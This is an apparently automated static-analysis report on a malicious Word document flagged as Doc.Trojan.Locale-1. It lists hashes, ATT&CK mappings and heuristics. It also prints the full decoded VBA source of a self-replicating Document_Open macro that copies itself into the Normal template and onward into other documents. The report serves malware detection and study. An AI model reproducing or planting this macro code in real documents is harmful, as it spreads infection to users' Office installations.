Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 47f6b459ea470db9…

MALICIOUS

Office (OLE)

71.0 KB Created: 2014-06-23 08:37:00 Authoring application: Microsoft Office Word First seen: 2014-08-17
MD5: 4a619d1b8c8960d1ac193638a54bf7ad SHA-1: f491150191abc96c1ee7c22a11f143bd5f857a0e SHA-256: 47f6b459ea470db9e3dabfedbaf63535c7c0cd95381bab9a6c8db6d6d9228143
148 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic

The document contains VBA macros, including a Document_Open macro, which is a common technique for malicious Office documents. The macro code appears to be designed to copy itself to the Normal template, potentially for persistence or to execute further malicious actions. The document body discusses a charity fundraising event, suggesting a social engineering lure to solicit donations.

Heuristics 3

  • ClamAV: Doc.Trojan.Locale-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Locale-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1650 bytes
SHA-256: 0aa804957b1d57d1316720506c0f2a6df46b58340977bdf9c2ae0c19fef2a07b
Detection
ClamAV: Doc.Trojan.Locale-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
    Set NewDocument = Documents(1)
    nextRoutine = "Document_Open"
    
    Set prevDocument = ActiveDocument
    Set nextDocument = NormalTemplate
    
    With nextDocument.VBProject.VBComponents
        For i = 1 To .Count
            If .Item(i).Type = 100 Then
                With .Item(i).CodeModule
                    If Not .Find("Sub " + nextRoutine + "()", 1, 1, .CountOfLines, 10) Then
                        With prevDocument.VBProject.VBComponents.Item(1).CodeModule
                            codeString = .Lines(.ProcStartLine(nextRoutine, vbext_pk_Proc), .ProcCountLines(nextRoutine, vbext_pk_Proc))
                        End With
                    End If
                    .AddFromString codeString
                    .ReplaceLine 1, "Private Sub " + nextRoutine + "()"
                    If prevDocument Is NormalTemplate Then
                        .ReplaceLine 5, "    Set prevDocument = ActiveDocument"
                        .ReplaceLine 6, "    Set nextDocument = NormalTemplate"
                    Else
                        .ReplaceLine 5, "    Set prevDocument = NormalTemplate"
                        .ReplaceLine 6, "    Set nextDocument = newDocument"
                    End If
                End With
            End If
        Next
    End With
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.